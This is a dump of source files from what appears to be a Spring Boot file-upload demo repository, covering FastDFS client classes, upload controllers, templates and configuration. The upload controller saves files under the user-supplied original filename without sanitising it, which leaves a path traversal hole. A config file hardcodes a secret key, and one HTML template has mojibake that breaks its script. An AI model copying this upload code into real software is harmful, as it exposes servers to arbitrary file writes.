\"redirect:uploadStatus\";\n        }\n        try {\n            // Get the file and save it somewhere\n            String path=saveFile(file);\n            redirectAttributes.addFlashAttribute(\"message\",\n                    \"You successfully uploaded '\" + file.getOriginalFilename() + \"'\");\n            redirectAttributes.addFlashAttribute(\"path\",\n                    \"file path url '\" + path + \"'\");\n        } catch (Exception e) {\n            logger.error(\"upload file failed\",e);\n        }\n        return \"redirect:/uploadStatus\";\n    }\n\n    @GetMapping(\"/uploadStatus\")\n    public String uploadStatus() {\n        return \"uploadStatus\";\n    }\n\n    /**\n     * @param multipartFile\n     * @return\n     * @throws IOException\n     */\n    public String saveFile(MultipartFile multipartFile) throws IOException {\n        String[] fileAbsolutePath={};\n        String fileName=multipartFile.getOriginalFilename();\n        String ext = fileName.substring(fileName.lastIndexOf(\".\") + 1);\n        byte[] file_buff = null;\n        InputStream inputStream=multipartFile.getInputStream();\n        if(inputStream!=null){\n            int len1 = inputStream.available();\n            file_buff = new byte[len1];\n            inputStream.read(file_buff);\n        }\n        inputStream.close();\n        FastDFSFile file = new FastDFSFile(fileName, file_buff, ext);\n        try {\n            fileAbsolutePath = FastDFSClient.upload(file);  //upload to fastdfs\n        } catch (Exception e) {\n            logger.error(\"upload file Exception!\",e);\n        }\n        if (fileAbsolutePath==null) {\n            logger.error(\"upload file failed,please upload again!\");\n        }\n        String path=FastDFSClient.getTrackerUrl()+fileAbsolutePath[0]+ \"/\"+fileAbsolutePath[1];\n        return path;\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_fastdfs/src/main/java/com/jun/plugin/fastdfs2/fastdfs/FastDFSClient.java",
    "content": "package com.jun.plugin.fastdfs2.fastdfs;\n\nimport org.csource.common.NameValuePair;\nimport org.csource.fastdfs.*;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.core.io.ClassPathResource;\nimport org.springframework.core.io.Resource;\n\nimport java.io.*;\n\npublic class FastDFSClient {\n\tprivate static org.slf4j.Logger logger = LoggerFactory.getLogger(FastDFSClient.class);\n\n\tstatic {\n\t\ttry {\n\t\t\tString filePath = new ClassPathResource(\"fdfs_client.conf\").getFile().getAbsolutePath();;\n\t\t\tClientGlobal.init(filePath);\n\t\t} catch (Exception e) {\n\t\t\tlogger.error(\"FastDFS Client Init Fail!\",e);\n\t\t}\n\t}\n\n\tpublic static String[] upload(FastDFSFile file) {\n\t\tlogger.info(\"File Name: \" + file.getName() + \"File Length:\" + file.getContent().length);\n\n\t\tNameValuePair[] meta_list = new NameValuePair[1];\n\t\tmeta_list[0] = new NameValuePair(\"author\", file.getAuthor());\n\n\t\tlong startTime = System.currentTimeMillis();\n\t\tString[] uploadResults = null;\n\t\tStorageClient storageClient=null;\n\t\ttry {\n\t\t\tstorageClient = getTrackerClient();\n\t\t\tuploadResults = storageClient.upload_file(file.getContent(), file.getExt(), meta_list);\n\t\t} catch (IOException e) {\n\t\t\tlogger.error(\"IO Exception when uploadind the file:\" + file.getName(), e);\n\t\t} catch (Exception e) {\n\t\t\tlogger.error(\"Non IO Exception when uploadind the file:\" + file.getName(), e);\n\t\t}\n\t\tlogger.info(\"upload_file time used:\" + (System.currentTimeMillis() - startTime) + \" ms\");\n\n\t\tif (uploadResults == null && storageClient!=null) {\n\t\t\tlogger.error(\"upload file fail, error code:\" + storageClient.getErrorCode());\n\t\t}\n\t\tString groupName = uploadResults[0];\n\t\tString remoteFileName = uploadResults[1];\n\n\t\tlogger.info(\"upload file successfully!!!\" + \"group_name:\" + groupName + \", remoteFileName:\" + \" \" + remoteFileName);\n\t\treturn uploadResults;\n\t}\n\n\tpublic static FileInfo getFile(String groupName, String remoteFileName) {\n\t\ttry {\n\t\t\tStorageClient storageClient = getTrackerClient();\n\t\t\treturn storageClient.get_file_info(groupName, remoteFileName);\n\t\t} catch (IOException e) {\n\t\t\tlogger.error(\"IO Exception: Get File from Fast DFS failed\", e);\n\t\t} catch (Exception e) {\n\t\t\tlogger.error(\"Non IO Exception: Get File from Fast DFS failed\", e);\n\t\t}\n\t\treturn null;\n\t}\n\n\tpublic static InputStream downFile(String groupName, String remoteFileName) {\n\t\ttry {\n\t\t\tStorageClient storageClient = getTrackerClient();\n\t\t\tbyte[] fileByte = storageClient.download_file(groupName, remoteFileName);\n\t\t\tInputStream ins = new ByteArrayInputStream(fileByte);\n\t\t\treturn ins;\n\t\t} catch (IOException e) {\n\t\t\tlogger.error(\"IO Exception: Get File from Fast DFS failed\", e);\n\t\t} catch (Exception e) {\n\t\t\tlogger.error(\"Non IO Exception: Get File from Fast DFS failed\", e);\n\t\t}\n\t\treturn null;\n\t}\n\n\tpublic static void deleteFile(String groupName, String remoteFileName)\n\t\t\tthrows Exception {\n\t\tStorageClient storageClient = getTrackerClient();\n\t\tint i = storageClient.delete_file(groupName, remoteFileName);\n\t\tlogger.info(\"delete file successfully!!!\" + i);\n\t}\n\n\tpublic static StorageServer[] getStoreStorages(String groupName)\n\t\t\tthrows IOException {\n\t\tTrackerClient trackerClient = new TrackerClient();\n\t\tTrackerServer trackerServer = trackerClient.getConnection();\n\t\treturn trackerClient.getStoreStorages(trackerServer, groupName);\n\t}\n\n\tpublic static ServerInfo[] getFetchStorages(String groupName,\n\t\t\t\t\t\t\t\t\t\t\t\tString remoteFileName) throws IOException {\n\t\tTrackerClient trackerClient = new TrackerClient();\n\t\tTrackerServer trackerServer = trackerClient.getConnection();\n\t\treturn trackerClient.getFetchStorages(trackerServer, groupName, remoteFileName);\n\t}\n\n\tpublic static String getTrackerUrl() throws IOException {\n\t\treturn \"http://\"+getTrackerServer().getInetSocketAddress().getHostString()+\":\"+ClientGlobal.getG_tracker_http_port()+\"/\";\n\t}\n\n\tprivate static StorageClient getTrackerClient() throws IOException {\n\t\tTrackerServer trackerServer = getTrackerServer();\n\t\tStorageClient storageClient = new StorageClient(trackerServer, null);\n\t\treturn  storageClient;\n\t}\n\n\tprivate static TrackerServer getTrackerServer() throws IOException {\n\t\tTrackerClient trackerClient = new TrackerClient();\n\t\tTrackerServer trackerServer = trackerClient.getConnection();\n\t\treturn  trackerServer;\n\t}\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_fastdfs/src/main/java/com/jun/plugin/fastdfs2/fastdfs/FastDFSClient2.java",
    "content": "package com.jun.plugin.fastdfs2.fastdfs;\nimport java.io.ByteArrayInputStream;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.Map;\nimport org.apache.commons.io.IOUtils;\nimport org.csource.common.MyException;\nimport org.csource.common.NameValuePair;\nimport org.csource.fastdfs.ClientGlobal;\nimport org.csource.fastdfs.StorageClient;\nimport org.csource.fastdfs.StorageServer;\nimport org.csource.fastdfs.TrackerClient;\nimport org.csource.fastdfs.TrackerServer;\n/**\n * FastDFS文件上传下载工具类\n * 创建者 张志朋\n * 创建时间\t2018年2月13日\n */\npublic class FastDFSClient2{\n\t\n\t//private static final String CONFIG_FILENAME = \"src/main/resources/fdfs_client.conf\";\n    //自行定义\n\tprivate static final String CONFIG_FILENAME = \"D:\\\\ACTS\\\\acts_market\\\\src\\\\main\\\\resources\\\\fdfs_client.conf\";\n\tprivate static final String GROUP_NAME = \"market1\";\n\tprivate TrackerClient trackerClient = null;\n    private TrackerServer trackerServer = null;\n    private StorageServer storageServer = null;\n    private StorageClient storageClient = null;\n    \n    static{\n    \ttry {\n\t\t\tClientGlobal.init(CONFIG_FILENAME);\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (MyException e) {\n\t\t\te.printStackTrace();\n\t\t}\n    }\n    public FastDFSClient2() throws Exception {\n\t   trackerClient = new TrackerClient(ClientGlobal.g_tracker_group);\n\t   trackerServer = trackerClient.getConnection();\n\t   storageServer = trackerClient.getStoreStorage(trackerServer);;\n\t   storageClient = new StorageClient(trackerServer, storageServer);\n    }\n\n    /**\n     * 上传文件\n     * @param file 文件对象\n     * @param fileName 文件名\n     * @return\n     */\n    public  String[] uploadFile(File file, String fileName) {\n        return uploadFile(file,fileName,null);\n    }\n\n    /**\n     * 上传文件\n     * @param file 文件对象\n     * @param fileName 文件名\n     * @param metaList 文件元数据\n     * @return\n     */\n    public  String[] uploadFile(File file, String fileName, Map<String,String> metaList) {\n        try {\n            byte[] buff = IOUtils.toByteArray(new FileInputStream(file));\n            NameValuePair[] nameValuePairs = null;\n            if (metaList != null) {\n                nameValuePairs = new NameValuePair[metaList.size()];\n                int index = 0;\n                for (Iterator<Map.Entry<String,String>> iterator = metaList.entrySet().iterator(); iterator.hasNext();) {\n                    Map.Entry<String,String> entry = iterator.next();\n                    String name = entry.getKey();\n                    String value = entry.getValue();\n                    nameValuePairs[index++] = new NameValuePair(name,value);\n                }\n            }\n            return storageClient.upload_file(GROUP_NAME,buff,fileName,nameValuePairs);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return null;\n    }\n\n    /**\n     * 获取文件元数据\n     * @param fileId 文件ID\n     * @return\n     */\n    public Map<String,String> getFileMetadata(String groupname,String fileId) {\n        try {\n            NameValuePair[] metaList = storageClient.get_metadata(groupname,fileId);\n            if (metaList != null) {\n                HashMap<String,String> map = new HashMap<String, String>();\n                for (NameValuePair metaItem : metaList) {\n                    map.put(metaItem.getName(),metaItem.getValue());\n                }\n                return map;\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return null;\n    }\n\n    /**\n     * 删除文件\n     * @param fileId 文件ID\n     * @return 删除失败返回-1，否则返回0\n     */\n    public int deleteFile(String groupname,String fileId) {\n        try {\n            return storageClient.delete_file(groupname,fileId);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return -1;\n    }\n\n    /**\n     * 下载文件\n     * @param fileId 文件ID（上传文件成功后返回的ID）\n     * @param outFile 文件下载保存位置\n     * @return\n     */\n    public  int downloadFile(String groupName,String fileId, File outFile) {\n        FileOutputStream fos = null;\n        try {\n            byte[] content = storageClient.download_file(groupName,fileId);\n            fos = new FileOutputStream(outFile);\n            InputStream ips = new ByteArrayInputStream(content); \n            IOUtils.copy(ips,fos);\n            return 0;\n        } catch (Exception e) {\n            e.printStackTrace();\n        } finally {\n            if (fos != null) {\n                try {\n                    fos.close();\n                } catch (IOException e) {\n                    e.printStackTrace();\n                }\n            }\n        }\n        return -1;\n    }\n    public static void main(String[] args) throws Exception {\n    \tFastDFSClient2 client = new FastDFSClient2();\n    \tFile file = new File(\"D:\\\\23456.png\");\n        String[] result = client.uploadFile(file, \"png\");\n        System.out.println(result.length);\n        System.out.println(result[0]);\n        System.out.println(result[1]);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_fastdfs/src/main/java/com/jun/plugin/fastdfs2/fastdfs/FastDFSFile.java",
    "content": "package com.jun.plugin.fastdfs2.fastdfs;\n\npublic class FastDFSFile {\n\tprivate String name;\n\n\tprivate byte[] content;\n\n\tprivate String ext;\n\n\tprivate String md5;\n\n\tprivate String author;\n\n\tpublic FastDFSFile(String name, byte[] content, String ext, String height,\n\t\t\t\t\t   String width, String author) {\n\t\tsuper();\n\t\tthis.name = name;\n\t\tthis.content = content;\n\t\tthis.ext = ext;\n\t\tthis.author = author;\n\t}\n\n\tpublic FastDFSFile(String name, byte[] content, String ext) {\n\t\tsuper();\n\t\tthis.name = name;\n\t\tthis.content = content;\n\t\tthis.ext = ext;\n\n\t}\n\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\n\tpublic byte[] getContent() {\n\t\treturn content;\n\t}\n\n\tpublic void setContent(byte[] content) {\n\t\tthis.content = content;\n\t}\n\n\tpublic String getExt() {\n\t\treturn ext;\n\t}\n\n\tpublic void setExt(String ext) {\n\t\tthis.ext = ext;\n\t}\n\n\tpublic String getMd5() {\n\t\treturn md5;\n\t}\n\n\tpublic void setMd5(String md5) {\n\t\tthis.md5 = md5;\n\t}\n\n\tpublic String getAuthor() {\n\t\treturn author;\n\t}\n\n\tpublic void setAuthor(String author) {\n\t\tthis.author = author;\n\t}\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_fastdfs/src/main/resources/application.properties",
    "content": "#http://docs.spring.io/spring-boot/docs/current/reference/htmlsingle/#common-application-properties\n#search multipart\nspring.servlet.http.multipart.max-file-size=10MB\nspring.servlet.http.multipart.max-request-size=10MB\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_fastdfs/src/main/resources/fdfs_client.conf",
    "content": "#连接tracker服务器超时时长\nconnect_timeout = 2  \n#socket连接超时时长\nnetwork_timeout = 30\n#文件内容编码 \ncharset = UTF-8 \n#tracker服务器端口\nhttp.tracker_http_port = 8080\n#http.anti_steal_token = no\nhttp.anti_steal.check_token=true\nhttp.secret_key = FastDFS1234567890\n#tracker服务器IP和端口（可以写多个）\ntracker_server = 192.168.1.190:22122 \n"
  },
  {
    "path": "jun_springboot_plugin/springboot_fastdfs/src/main/resources/logback.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<configuration>\n\n    <appender name=\"STDOUT\" class=\"ch.qos.logback.core.ConsoleAppender\">\n        <layout class=\"ch.qos.logback.classic.PatternLayout\">\n            <Pattern>\n                %d{yyyy-MM-dd HH:mm:ss} %-5level %logger{36} - %msg%n\n            </Pattern>\n        </layout>\n    </appender>\n\n    <logger name=\"org.springframework.web\" level=\"error\" additivity=\"false\">\n        <appender-ref ref=\"STDOUT\"/>\n    </logger>\n\n    <logger name=\"com.neo\" level=\"debug\" additivity=\"false\">\n        <appender-ref ref=\"STDOUT\"/>\n    </logger>\n\n    <root level=\"error\">\n        <appender-ref ref=\"STDOUT\"/>\n    </root>\n\n</configuration>"
  },
  {
    "path": "jun_springboot_plugin/springboot_fastdfs/src/main/resources/templates/upload.html",
    "content": "<!DOCTYPE html>\n<html xmlns:th=\"http://www.thymeleaf.org\">\n<body>\n\n<h1>Spring Boot file upload example</h1>\n\n<form method=\"POST\" action=\"/upload\" enctype=\"multipart/form-data\">\n    <input type=\"file\" name=\"file\" /><br/><br/>\n    <input type=\"submit\" value=\"Submit\" />\n</form>\n\n</body>\n</html>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_fastdfs/src/main/resources/templates/uploadStatus.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\" xmlns:th=\"http://www.thymeleaf.org\">\n<body>\n\n<h1>Spring Boot - Upload Status</h1>\n\n<div th:if=\"${message}\">\n    <h2 th:text=\"${message}\"/>\n</div>\n\n<div th:if=\"${path}\">\n    <h2 th:text=\"${path}\"/>\n</div>\n\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_fastdfs/src/main/webapp/WEB-INF/web.xml",
    "content": "<!DOCTYPE web-app PUBLIC\n \"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN\"\n \"http://java.sun.com/dtd/web-app_2_3.dtd\" >\n\n<web-app>\n  <display-name>Archetype Created Web Application</display-name>\n</web-app>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_fastdfs/src/main/webapp/index.jsp",
    "content": "<html>\n<body>\n<h2>Hello World!</h2>\n</body>\n</html>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_upload/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0\n  http://maven.apache.org/maven-v4_0_0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_file_upload</artifactId>\n\t<version>1.0</version>\n    <packaging>jar</packaging>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.1.0.RELEASE</version>\n        <relativePath></relativePath>\n    </parent>\n\n    <properties>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-thymeleaf</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-devtools</artifactId>\n            <optional>true</optional>\n        </dependency>\n\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_upload/src/main/java/com/jun/plugin/FileUploadWebApplication.java",
    "content": "package com.jun.plugin;\n\nimport org.apache.coyote.http11.AbstractHttp11Protocol;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.boot.web.embedded.tomcat.TomcatConnectorCustomizer;\nimport org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory;\nimport org.springframework.context.annotation.Bean;\n\n@SpringBootApplication\npublic class FileUploadWebApplication {\n\n    public static void main(String[] args) throws Exception {\n        SpringApplication.run(FileUploadWebApplication.class, args);\n    }\n\n    //Tomcat large file upload connection reset\n    @Bean\n    public TomcatServletWebServerFactory tomcatEmbedded() {\n        TomcatServletWebServerFactory tomcat = new TomcatServletWebServerFactory();\n        tomcat.addConnectorCustomizers((TomcatConnectorCustomizer) connector -> {\n            if ((connector.getProtocolHandler() instanceof AbstractHttp11Protocol<?>)) {\n                //-1 means unlimited\n                ((AbstractHttp11Protocol<?>) connector.getProtocolHandler()).setMaxSwallowSize(-1);\n            }\n        });\n        return tomcat;\n    }\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_upload/src/main/java/com/jun/plugin/controller/GlobalExceptionHandler.java",
    "content": "package com.jun.plugin.controller;\n\nimport org.springframework.web.bind.annotation.ControllerAdvice;\nimport org.springframework.web.bind.annotation.ExceptionHandler;\nimport org.springframework.web.multipart.MultipartException;\nimport org.springframework.web.servlet.mvc.support.RedirectAttributes;\n\n@ControllerAdvice\npublic class GlobalExceptionHandler {\n\n    //https://jira.spring.io/browse/SPR-14651\n    //4.3.5 supports RedirectAttributes redirectAttributes\n    @ExceptionHandler(MultipartException.class)\n    public String handleError1(MultipartException e, RedirectAttributes redirectAttributes) {\n        redirectAttributes.addFlashAttribute(\"message\", e.getCause().getMessage());\n        return \"redirect:/uploadStatus\";\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_upload/src/main/java/com/jun/plugin/controller/UploadController.java",
    "content": "package com.jun.plugin.controller;\n\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.multipart.MultipartFile;\nimport org.springframework.web.servlet.mvc.support.RedirectAttributes;\n\nimport java.io.IOException;\nimport java.nio.file.Files;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\n\n@Controller\npublic class UploadController {\n    //Save the uploaded file to this folder\n    private static String UPLOADED_FOLDER = \"E://temp//\";\n\n    @GetMapping(\"/\")\n    public String index() {\n        return \"upload\";\n    }\n\n    @PostMapping(\"/upload\") // //new annotation since 4.3\n    public String singleFileUpload(@RequestParam(\"file\") MultipartFile file,\n        RedirectAttributes redirectAttributes) {\n        if (file.isEmpty()) {\n            redirectAttributes.addFlashAttribute(\"message\", \"Please select a file to upload\");\n            return \"redirect:uploadStatus\";\n        }\n\n        try {\n            // Get the file and save it somewhere\n            byte[] bytes = file.getBytes();\n            Path dir = Paths.get(UPLOADED_FOLDER);\n            Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());\n            // Create parent dir if not exists\n            if(!Files.exists(dir)) {\n                Files.createDirectories(dir);\n            }\n            Files.write(path, bytes);\n            redirectAttributes.addFlashAttribute(\"message\",\n                \"You successfully uploaded '\" + file.getOriginalFilename() + \"'\");\n\n        } catch (IOException e) {\n            redirectAttributes.addFlashAttribute(\"message\", \"Server throw IOException\");\n            e.printStackTrace();\n        }\n        return \"redirect:/uploadStatus\";\n    }\n\n    @GetMapping(\"/uploadStatus\")\n    public String uploadStatus() {\n        return \"uploadStatus\";\n    }\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_upload/src/main/resources/application.properties",
    "content": "#http://docs.spring.io/spring-boot/docs/current/reference/htmlsingle/#common-application-properties\n#search multipart\nspring.servlet.multipart.max-file-size=10MB\nspring.servlet.multipart.max-request-size=10MB"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_upload/src/main/resources/logback.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<configuration>\n\n    <appender name=\"STDOUT\" class=\"ch.qos.logback.core.ConsoleAppender\">\n        <layout class=\"ch.qos.logback.classic.PatternLayout\">\n            <Pattern>\n                %d{yyyy-MM-dd HH:mm:ss} %-5level %logger{36} - %msg%n\n            </Pattern>\n        </layout>\n    </appender>\n\n    <logger name=\"org.springframework.web\" level=\"error\" additivity=\"false\">\n        <appender-ref ref=\"STDOUT\"/>\n    </logger>\n\n    <logger name=\"com.neo\" level=\"debug\" additivity=\"false\">\n        <appender-ref ref=\"STDOUT\"/>\n    </logger>\n\n    <root level=\"error\">\n        <appender-ref ref=\"STDOUT\"/>\n    </root>\n\n</configuration>"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_upload/src/main/resources/templates/from_file.html",
    "content": "<form id='myupload' action='http://localhost:8080/uploadSign' method='post' enctype='multipart/form-data'>\n  <div class=\"demo\">\n    <div class=\"btn\">\n      <span>Ӹ</span>\n      <input id=\"fileupload\" type=\"file\" name=\"file1\"></div>\n    <div class=\"progress\">\n      <span class=\"bar\"></span>\n      <span class=\"percent\">0%</span></div>\n    <!-- ʾϴļ -->\n    <div class=\"files\"></div>\n    <!-- ʾϴͼƬ-->\n    <div class=\"showimg\"></div>\n  </div>\n  <input type=\"submit\" onclick=\"gosubmit2()\" /></form>\n<script src=\"https://cdn.bootcss.com/jquery/1.6.4/jquery.js\"></script>\n<script type=\"text/javascript\" src=\"https://cdn.bootcss.com/jquery.form/4.1.0/jquery.form.min.js\"></script>\n<script type=\"text/javascript\">var bar = $('.bar'); //\n  var percent = $('.percent'); //ȡϴٷֱ\n  var showimg = $('.showimg'); //ʾͼƬdiv\n  var progress = $('.progress'); //ʾȵdiv\n  var files = $('.files'); //ļϴؼinputԪ\n  var btn = $('.btn span'); //ťı\n  function gosubmit2() {\n    $(\"#myupload\").ajaxSubmit({\n      dataType: 'json',\n      //\n      beforeSend: function() {\n        showimg.empty();\n        progress.show();\n        var percentVal = '0%';\n        bar.width(percentVal);\n        percent.html(percentVal);\n        btn.html('ϴ..');\n      },\n      //½¼\n      uploadProgress: function(event, position, total, percentComplete) {\n        var percentVal = percentComplete + '%';\n        bar.width(percentVal);\n        percent.html(percentVal);\n      },\n      success: function(data) { //ͼƬϴɹʱ\n        //ȡ˷صļ\n        alert(data.name + \",\" + data.pic + \",\" + data.size);\n      },\n      error: function(xhr) {\n        btn.html(ϴʧ);\n        bar.width('0');\n        files.html(xhr.responseText);\n      }\n    });\n  }</script>"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_upload/src/main/resources/templates/upload.html",
    "content": "<!DOCTYPE html>\n<html xmlns:th=\"http://www.thymeleaf.org\">\n<body>\n\n<h1>Spring Boot file upload example</h1>\n\n<form method=\"POST\" action=\"/upload\" enctype=\"multipart/form-data\">\n    <input type=\"file\" name=\"file\" /><br/><br/>\n    <input type=\"submit\" value=\"Submit\" />\n</form>\n\n</body>\n</html>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_upload/src/main/resources/templates/uploadStatus.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\" xmlns:th=\"http://www.thymeleaf.org\">\n<body>\n\n<h1>Spring Boot - Upload Status</h1>\n\n<div th:if=\"${message}\">\n    <h2 th:text=\"${message}\"/>\n</div>\n\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_uploader/.gitignore",
    "content": "/target/\n/log/\n/upload/\n.mvn/\n\n### STS ###\n.apt_generated\n.classpath\n.factorypath\n.project\n.settings\n.springBeans\n.sts4-cache\n\n### IntelliJ IDEA ###\n.idea\n*.iws\n*.iml\n*.ipr\n\n### NetBeans ###\n/nbproject/private/\n/build/\n/nbbuild/\n/dist/\n/nbdist/\n/.nb-gradle/"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_uploader/LICENSE",
    "content": "                                 Apache License\n                           Version 2.0, January 2004\n                        http://www.apache.org/licenses/\n\n   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n   1. Definitions.\n\n      \"License\" shall mean the terms and conditions for use, reproduction,\n      and distribution as defined by Sections 1 through 9 of this document.\n\n      \"Licensor\" shall mean the copyright owner or entity authorized by\n      the copyright owner that is granting the License.\n\n      \"Legal Entity\" shall mean the union of the acting entity and all\n      other entities that control, are controlled by, or are under common\n      control with that entity. For the purposes of this definition,\n      \"control\" means (i) the power, direct or indirect, to cause the\n      direction or management of such entity, whether by contract or\n      otherwise, or (ii) ownership of fifty percent (50%) or more of the\n      outstanding shares, or (iii) beneficial ownership of such entity.\n\n      \"You\" (or \"Your\") shall mean an individual or Legal Entity\n      exercising permissions granted by this License.\n\n      \"Source\" form shall mean the preferred form for making modifications,\n      including but not limited to software source code, documentation\n      source, and configuration files.\n\n      \"Object\" form shall mean any form resulting from mechanical\n      transformation or translation of a Source form, including but\n      not limited to compiled object code, generated documentation,\n      and conversions to other media types.\n\n      \"Work\" shall mean the work of authorship, whether in Source or\n      Object form, made available under the License, as indicated by a\n      copyright notice that is included in or attached to the work\n      (an example is provided in the Appendix below).\n\n      \"Derivative Works\" shall mean any work, whether in Source or Object\n      form, that is based on (or derived from) the Work and for which the\n      editorial revisions, annotations, elaborations, or other modifications\n      represent, as a whole, an original work of authorship. For the purposes\n      of this License, Derivative Works shall not include works that remain\n      separable from, or merely link (or bind by name) to the interfaces of,\n      the Work and Derivative Works thereof.\n\n      \"Contribution\" shall mean any work of authorship, including\n      the original version of the Work and any modifications or additions\n      to that Work or Derivative Works thereof, that is intentionally\n      submitted to Licensor for inclusion in the Work by the copyright owner\n      or by an individual or Legal Entity authorized to submit on behalf of\n      the copyright owner. For the purposes of this definition, \"submitted\"\n      means any form of electronic, verbal, or written communication sent\n      to the Licensor or its representatives, including but not limited to\n      communication on electronic mailing lists, source code control systems,\n      and issue tracking systems that are managed by, or on behalf of, the\n      Licensor for the purpose of discussing and improving the Work, but\n      excluding communication that is conspicuously marked or otherwise\n      designated in writing by the copyright owner as \"Not a Contribution.\"\n\n      \"Contributor\" shall mean Licensor and any individual or Legal Entity\n      on behalf of whom a Contribution has been received by Licensor and\n      subsequently incorporated within the Work.\n\n   2. Grant of Copyright License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      copyright license to reproduce, prepare Derivative Works of,\n      publicly display, publicly perform, sublicense, and distribute the\n      Work and such Derivative Works in Source or Object form.\n\n   3. Grant of Patent License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      (except as stated in this section) patent license to make, have made,\n      use, offer to sell, sell, import, and otherwise transfer the Work,\n      where such license applies only to those patent claims licensable\n      by such Contributor that are necessarily infringed by their\n      Contribution(s) alone or by combination of their Contribution(s)\n      with the Work to which such Contribution(s) was submitted. If You\n      institute patent litigation against any entity (including a\n      cross-claim or counterclaim in a lawsuit) alleging that the Work\n      or a Contribution incorporated within the Work constitutes direct\n      or contributory patent infringement, then any patent licenses\n      granted to You under this License for that Work shall terminate\n      as of the date such litigation is filed.\n\n   4. Redistribution. You may reproduce and distribute copies of the\n      Work or Derivative Works thereof in any medium, with or without\n      modifications, and in Source or Object form, provided that You\n      meet the following conditions:\n\n      (a) You must give any other recipients of the Work or\n          Derivative Works a copy of this License; and\n\n      (b) You must cause any modified files to carry prominent notices\n          stating that You changed the files; and\n\n      (c) You must retain, in the Source form of any Derivative Works\n          that You distribute, all copyright, patent, trademark, and\n          attribution notices from the Source form of the Work,\n          excluding those notices that do not pertain to any part of\n          the Derivative Works; and\n\n      (d) If the Work includes a \"NOTICE\" text file as part of its\n          distribution, then any Derivative Works that You distribute must\n          include a readable copy of the attribution notices contained\n          within such NOTICE file, excluding those notices that do not\n          pertain to any part of the Derivative Works, in at least one\n          of the following places: within a NOTICE text file distributed\n          as part of the Derivative Works; within the Source form or\n          documentation, if provided along with the Derivative Works; or,\n          within a display generated by the Derivative Works, if and\n          wherever such third-party notices normally appear. The contents\n          of the NOTICE file are for informational purposes only and\n          do not modify the License. You may add Your own attribution\n          notices within Derivative Works that You distribute, alongside\n          or as an addendum to the NOTICE text from the Work, provided\n          that such additional attribution notices cannot be construed\n          as modifying the License.\n\n      You may add Your own copyright statement to Your modifications and\n      may provide additional or different license terms and conditions\n      for use, reproduction, or distribution of Your modifications, or\n      for any such Derivative Works as a whole, provided Your use,\n      reproduction, and distribution of the Work otherwise complies with\n      the conditions stated in this License.\n\n   5. Submission of Contributions. Unless You explicitly state otherwise,\n      any Contribution intentionally submitted for inclusion in the Work\n      by You to the Licensor shall be under the terms and conditions of\n      this License, without any additional terms or conditions.\n      Notwithstanding the above, nothing herein shall supersede or modify\n      the terms of any separate license agreement you may have executed\n      with Licensor regarding such Contributions.\n\n   6. Trademarks. This License does not grant 